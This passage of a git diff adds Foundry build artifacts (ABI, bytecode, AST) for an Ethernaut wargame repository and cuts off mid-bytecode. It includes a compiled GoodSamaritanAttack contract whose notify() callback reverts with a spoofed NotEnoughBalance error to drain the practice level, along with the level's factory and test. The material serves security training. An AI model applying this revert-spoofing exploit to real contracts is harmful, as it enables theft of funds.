Ethernaut"}},{"arguments":[{"id":61972,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61808,"src":"2090:8:135","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}],"id":61971,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2082:7:135","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61970,"name":"address","nodeType":"ElementaryTypeName","src":"2082:7:135","typeDescriptions":{}}},"id":61973,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2082:17:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":61968,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2051:19:135","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":61974,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2051:49:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":61967,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2040:10:135","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":61975,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2040:61:135","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61976,"nodeType":"ExpressionStatement","src":"2040:61:135"}]},"documentation":{"id":61936,"nodeType":"StructuredDocumentation","src":"1773:44:135","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1831:9:135","parameters":{"id":61937,"nodeType":"ParameterList","parameters":[],"src":"1840:2:135"},"returnParameters":{"id":61938,"nodeType":"ParameterList","parameters":[],"src":"1850:0:135"},"scope":61979,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":61799,"name":"Test","nameLocations":["463:4:135"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"463:4:135"},"id":61800,"nodeType":"InheritanceSpecifier","src":"463:4:135"},{"baseName":{"id":61801,"name":"Utils","nameLocations":["469:5:135"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"469:5:135"},"id":61802,"nodeType":"InheritanceSpecifier","src":"469:5:135"}],"canonicalName":"TestGoodSamaritan","contractDependencies":[49101,49569,53387,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[61979,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestGoodSamaritan","nameLocation":"442:17:135","scope":61980,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":135} \ No newline at end of file diff --git a/contracts/out/GoodSamaritanAttack.sol/GoodSamaritanAttack.json b/contracts/out/GoodSamaritanAttack.sol/GoodSamaritanAttack.json new file mode 100644 index 000000000..4383a2d71 --- /dev/null +++ b/contracts/out/GoodSamaritanAttack.sol/GoodSamaritanAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"goodSamaritan_","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"attack","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"notify","inputs":[{"name":"amount_","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"pure"},{"type":"error","name":"NotEnoughBalance","inputs":[]}],"bytecode":{"object":"0x60a060405234801561000f575f80fd5b5060405161021638038061021683398101604081905261002e9161003f565b6001600160a01b031660805261006c565b5f6020828403121561004f575f80fd5b81516001600160a01b0381168114610065575f80fd5b9392505050565b6080516101936100835f395f609401526101935ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c806398d078b4146100385780639e5faafc1461004d575b5f80fd5b61004b610046366004610120565b610055565b005b61004b610092565b600a811161008f576040517fad3a8b9e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663251436386040518163ffffffff1660e01b81526004016020604051808303815f875af11580156100fc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061008f9190610137565b5f60208284031215610130575f80fd5b5035919050565b5f60208284031215610147575f80fd5b81518015158114610156575f80fd5b939250505056fea26469706673582212200cdd5d3801aa9ff6349aeb419cef9e4af1867c3b7cc5bc19ba8ccdc242af58a164736f6c63430008180033","sourceMap":"156:403:48:-:0;;;238:84;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;284:31:48;;;156:403;;14:290:155;84:6;137:2;125:9;116:7;112:23;108:32;105:52;;;153:1;150;143:12;105:52;179:16;;-1:-1:-1;;;;;224:31:155;;214:42;;204:70;;270:1;267;260:12;204:70;293:5;14:290;-1:-1:-1;;;14:290:155:o;:::-;156:403:48;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610034575f3560e01c806398d078b4146100385780639e5faafc1461004d575b5f80fd5b61004b610046366004610120565b610055565b005b61004b610092565b600a811161008f576040517fad3a8b9e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663251436386040518163ffffffff1660e01b81526004016020604051808303815f875af11580156100fc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061008f9190610137565b5f60208284031215610130575f80fd5b5035919050565b5f60208284031215610147575f80fd5b81518015158114610156575f80fd5b939250505056fea26469706673582212200cdd5d3801aa9ff6349aeb419cef9e4af1867c3b7cc5bc19ba8ccdc242af58a164736f6c63430008180033","sourceMap":"156:403:48:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;425:132;;;;;;:::i;:::-;;:::i;:::-;;328:91;;;:::i;425:132::-;497:2;486:7;:13;482:69;;522:18;;;;;;;;;;;;;;482:69;425:132;:::o;328:91::-;379:14;365:45;;;:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;14:180:155:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;165:23:155;;14:180;-1:-1:-1;14:180:155:o;199:277::-;266:6;319:2;307:9;298:7;294:23;290:32;287:52;;;335:1;332;325:12;287:52;367:9;361:16;420:5;413:13;406:21;399:5;396:32;386:60;;442:1;439;432:12;386:60;465:5;199:277;-1:-1:-1;;;199:277:155:o","linkReferences":{},"immutableReferences":{"49534":[{"start":148,"length":32}]}},"methodIdentifiers":{"attack()":"9e5faafc","notify(uint256)":"98d078b4"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"goodSamaritan_\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"NotEnoughBalance\",\"type\":\"error\"},{\"inputs\":[],\"name\":\"attack\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount_\",\"type\":\"uint256\"}],\"name\":\"notify\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/GoodSamaritanAttack.sol\":\"GoodSamaritanAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"src/attacks/GoodSamaritanAttack.sol\":{\"keccak256\":\"0x110f6720b8848a9d39451ce62f2a7da54ce7adb73b31eb31a6957d2f68424c0c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3da301f857f82dbc9f168b78e5246470b520edce9ba415e008c801faf8d26992\",\"dweb:/ipfs/QmQMs65FAPzB88Gnh23ipvy2TChBzpkTRTthxboeBVWLvN\"]},\"src/levels/GoodSamaritan.sol\":{\"keccak256\":\"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615\",\"dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"goodSamaritan_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"type":"error","name":"NotEnoughBalance"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"attack"},{"inputs":[{"internalType":"uint256","name":"amount_","type":"uint256"}],"stateMutability":"pure","type":"function","name":"notify"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/GoodSamaritanAttack.sol":"GoodSamaritanAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"src/attacks/GoodSamaritanAttack.sol":{"keccak256":"0x110f6720b8848a9d39451ce62f2a7da54ce7adb73b31eb31a6957d2f68424c0c","urls":["bzz-raw://3da301f857f82dbc9f168b78e5246470b520edce9ba415e008c801faf8d26992","dweb:/ipfs/QmQMs65FAPzB88Gnh23ipvy2TChBzpkTRTthxboeBVWLvN"],"license":"MIT"},"src/levels/GoodSamaritan.sol":{"keccak256":"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947","urls":["bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615","dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/GoodSamaritanAttack.sol","id":49570,"exportedSymbols":{"Address":[48259],"Coin":[53225],"GoodSamaritan":[53146],"GoodSamaritanAttack":[49569],"INotifyable":[53327],"NotEnoughBalance":[49532],"Wallet":[53321]},"nodeType":"SourceUnit","src":"32:528:48","nodes":[{"id":49529,"nodeType":"PragmaDirective","src":"32:23:48","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49530,"nodeType":"ImportDirective","src":"57:37:48","nodes":[],"absolutePath":"src/levels/GoodSamaritan.sol","file":"../levels/GoodSamaritan.sol","nameLocation":"-1:-1:-1","scope":49570,"sourceUnit":53328,"symbolAliases":[],"unitAlias":""},{"id":49532,"nodeType":"ErrorDefinition","src":"129:25:48","nodes":[],"errorSelector":"ad3a8b9e","name":"NotEnoughBalance","nameLocation":"135:16:48","parameters":{"id":49531,"nodeType":"ParameterList","parameters":[],"src":"151:2:48"}},{"id":49569,"nodeType":"ContractDefinition","src":"156:403:48","nodes":[{"id":49534,"nodeType":"VariableDeclaration","src":"191:40:48","nodes":[],"constant":false,"mutability":"immutable","name":"_goodSamaritan","nameLocation":"217:14:48","scope":49569,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49533,"name":"address","nodeType":"ElementaryTypeName","src":"191:7:48","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"private"},{"id":49544,"nodeType":"FunctionDefinition","src":"238:84:48","nodes":[],"body":{"id":49543,"nodeType":"Block","src":"274:48:48","nodes":[],"statements":[{"expression":{"id":49541,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49539,"name":"_goodSamaritan","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49534,"src":"284:14:48","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":49540,"name":"goodSamaritan_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49536,"src":"301:14:48","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"284:31:48","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":49542,"nodeType":"ExpressionStatement","src":"284:31:48"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49537,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49536,"mutability":"mutable","name":"goodSamaritan_","nameLocation":"258:14:48","nodeType":"VariableDeclaration","scope":49544,"src":"250:22:48","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49535,"name":"address","nodeType":"ElementaryTypeName","src":"250:7:48","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"249:24:48"},"returnParameters":{"id":49538,"nodeType":"ParameterList","parameters":[],"src":"274:0:48"},"scope":49569,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":49554,"nodeType":"FunctionDefinition","src":"328:91:48","nodes":[],"body":{"id":49553,"nodeType":"Block","src":"355:64:48","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"arguments":[{"id":49548,"name":"_goodSamaritan","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49534,"src":"379:14:48","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49547,"name":"GoodSamaritan","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53146,"src":"365:13:48","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GoodSamaritan_$53146_$","typeString":"type(contract GoodSamaritan)"}},"id":49549,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"365:29:48","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}},"id":49550,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"395:15:48","memberName":"requestDonation","nodeType":"MemberAccess","referencedDeclaration":53145,"src":"365:45:48","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$_t_bool_$","typeString":"function () external returns (bool)"}},"id":49551,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"365:47:48","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":49552,"nodeType":"ExpressionStatement","src":"365:47:48"}]},"functionSelector":"9e5faafc","implemented":true,"kind":"function","modifiers":[],"name":"attack","nameLocation":"337:6:48","parameters":{"id":49545,"nodeType":"ParameterList","parameters":[],"src":"343:2:48"},"returnParameters":{"id":49546,"nodeType":"ParameterList","parameters":[],"src":"355:0:48"},"scope":49569,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":49568,"nodeType":"FunctionDefinition","src":"425:132:48","nodes":[],"body":{"id":49567,"nodeType":"Block","src":"472:85:48","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":49561,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":49559,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49556,"src":"486:7:48","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"hexValue":"3130","id":49560,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"497:2:48","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"486:13:48","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":49566,"nodeType":"IfStatement","src":"482:69:48","trueBody":{"id":49565,"nodeType":"Block","src":"501:50:48","statements":[{"errorCall":{"arguments":[],"expression":{"argumentTypes":[],"id":49562,"name":"NotEnoughBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49532,"src":"522:16:48","typeDescriptions":{"typeIdentifier":"t_function_error_pure$__$returns$__$","typeString":"function () pure"}},"id":49563,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"522:18:48","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49564,"nodeType":"RevertStatement","src":"515:25:48"}]}}]},"functionSelector":"98d078b4","implemented":true,"kind":"function","modifiers":[],"name":"notify","nameLocation":"434:6:48","parameters":{"id":49557,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49556,"mutability":"mutable","name":"amount_","nameLocation":"449:7:48","nodeType":"VariableDeclaration","scope":49568,"src":"441:15:48","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49555,"name":"uint256","nodeType":"ElementaryTypeName","src":"441:7:48","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"440:17:48"},"returnParameters":{"id":49558,"nodeType":"ParameterList","parameters":[],"src":"472:0:48"},"scope":49569,"stateMutability":"pure","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"GoodSamaritanAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49569],"name":"GoodSamaritanAttack","nameLocation":"165:19:48","scope":49570,"usedErrors":[49532],"usedEvents":[]}],"license":"MIT"},"id":48} \ No newline at end of file diff --git a/contracts/out/GoodSamaritanFactory.sol/GoodSamaritanFactory.json b/contracts/out/GoodSamaritanFactory.sol/GoodSamaritanFactory.json new file mode 100644 index 000000000..f3ee784a6 --- /dev/null +++ b/contracts/out/GoodSamaritanFactory.sol/GoodSamaritanFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610fe58061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461041c565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461043e565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461041c565b6102a6565b61011461033b565b61011d5f610394565b565b5f60405161012c906103fb565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f80839050806001600160a01b03166311df99956040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b19190610475565b6001600160a01b03166327e235e3826001600160a01b031663521eb2736040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061021f9190610475565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b039091166004820152602401602060405180830381865afa158015610279573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061029d9190610490565b15949350505050565b6102ae61033b565b6001600160a01b03811661032f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61033881610394565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610326565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610b08806104a883390190565b6001600160a01b0381168114610338575f80fd5b5f6020828403121561042c575f80fd5b813561043781610408565b9392505050565b5f806040838503121561044f575f80fd5b823561045a81610408565b9150602083013561046a81610408565b809150509250929050565b5f60208284031215610485575f80fd5b815161043781610408565b5f602082840312156104a0575f80fd5b505191905056fe608060405234801561000f575f80fd5b5060405161001c906100ff565b604051809103905ff080158015610035573d5f803e3d5ffd5b505f80546001600160a01b0319166001600160a01b039290921691821790556040516100609061010c565b6001600160a01b039091168152602001604051809103905ff080158015610089573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b039283169081179091555f546040516382e46b7560e01b81526004810192909252909116906382e46b75906024015f604051808303815f87803b1580156100e4575f80fd5b505af11580156100f6573d5f803e3d5ffd5b50505050610119565b61042e8061038483390190565b610356806107b283390190565b61025e806101265f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c806311df9995146100435780632514363814610073578063521eb2731461008b575b5f80fd5b600154610056906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007b61009d565b604051901515815260200161006a565b5f54610056906001600160a01b031681565b5f80546040517ff836afce0000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b039091169063f836afce906024015f604051808303815f87803b1580156100f8575f80fd5b505af1925050508015610109575060015b610222573d808015610136576040519150601f19603f3d011682016040523d82523d5f602084013e61013b565b606091505b50805160208083019190912060408051600481526024810190915291820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fad3a8b9e0000000000000000000000000000000000000000000000000000000017815291519091200361021e575f546040517fe40b86580000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b039091169063e40b8658906024015f604051808303815f87803b158015610201575f80fd5b505af1158015610213573d5f803e3d5ffd5b505050505f91505090565b5090565b5060019056fea2646970667358221220d5db4a23eced2c10c7be752e7449ddba9a1dbc761e6cf62f46f17779c80a89c564736f6c63430008180033608060405234801561000f575f80fd5b505f80546001600160a01b031916331790556104008061002e5f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100ac578063e40b8658146100be578063f836afce146100d1575f80fd5b806311df99951461006857806382e46b7514610097575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b6100aa6100a5366004610391565b6100e4565b005b5f5461007b906001600160a01b031681565b6100aa6100cc366004610391565b610148565b6100aa6100df366004610391565b61025b565b5f546001600160a01b0316331461010e57604051635fc483c560e01b815260040160405180910390fd5b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461017257604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b81523060048201526001600160a01b039091169063a9059cbb90839083906327e235e390602401602060405180830381865afa1580156101c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e691906103b3565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044015b5f604051808303815f87803b158015610242575f80fd5b505af1158015610254573d5f803e3d5ffd5b5050505050565b5f546001600160a01b0316331461028557604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b8152306004820152600a916001600160a01b0316906327e235e390602401602060405180830381865afa1580156102cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102f091906103b3565b1015610328576040517fad3a8b9e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001546040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b038381166004830152600a60248301529091169063a9059cbb9060440161022b565b50565b6001600160a01b038116811461037a575f80fd5b5f602082840312156103a1575f80fd5b81356103ac8161037d565b9392505050565b5f602082840312156103c3575f80fd5b505191905056fea264697066735822122034a4a3cb0de740fd1e8ffe7d7b8af2cb6145f1e332ec60827493447c2818318d64736f6c63430008180033608060405234801561000f575f80fd5b5060405161035638038061035683398101604081905261002e9161004f565b6001600160a01b03165f908152602081905260409020620f4240905561007c565b5f6020828403121561005f575f80fd5b81516001600160a01b0381168114610075575f80fd5b9392505050565b6102cd806100895f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c806327e235e314610038578063a9059cbb14610069575b5f80fd5b6100576100463660046101f6565b5f6020819052908152604090205481565b60405190815260200160405180910390f35b61007c610077366004610216565b61007e565b005b335f9081526020819052604090205480821161018e57335f90815260208190526040812080548492906100b290849061026b565b909155505073ffffffffffffffffffffffffffffffffffffffff83165f90815260208190526040812080548492906100eb908490610284565b909155505073ffffffffffffffffffffffffffffffffffffffff83163b15610189576040517f98d078b40000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff8416906398d078b4906024015f604051808303815f87803b158015610172575f80fd5b505af1158015610184573d5f803e3d5ffd5b505050505b505050565b6040517fcf479181000000000000000000000000000000000000000000000000000000008152600481018290526024810183905260440160405180910390fd5b803573ffffffffffffffffffffffffffffffffffffffff811681146101f1575f80fd5b919050565b5f60208284031215610206575f80fd5b61020f826101ce565b9392505050565b5f8060408385031215610227575f80fd5b610230836101ce565b946020939093013593505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8181038181111561027e5761027e61023e565b92915050565b8082018082111561027e5761027e61023e56fea2646970667358221220e3c80341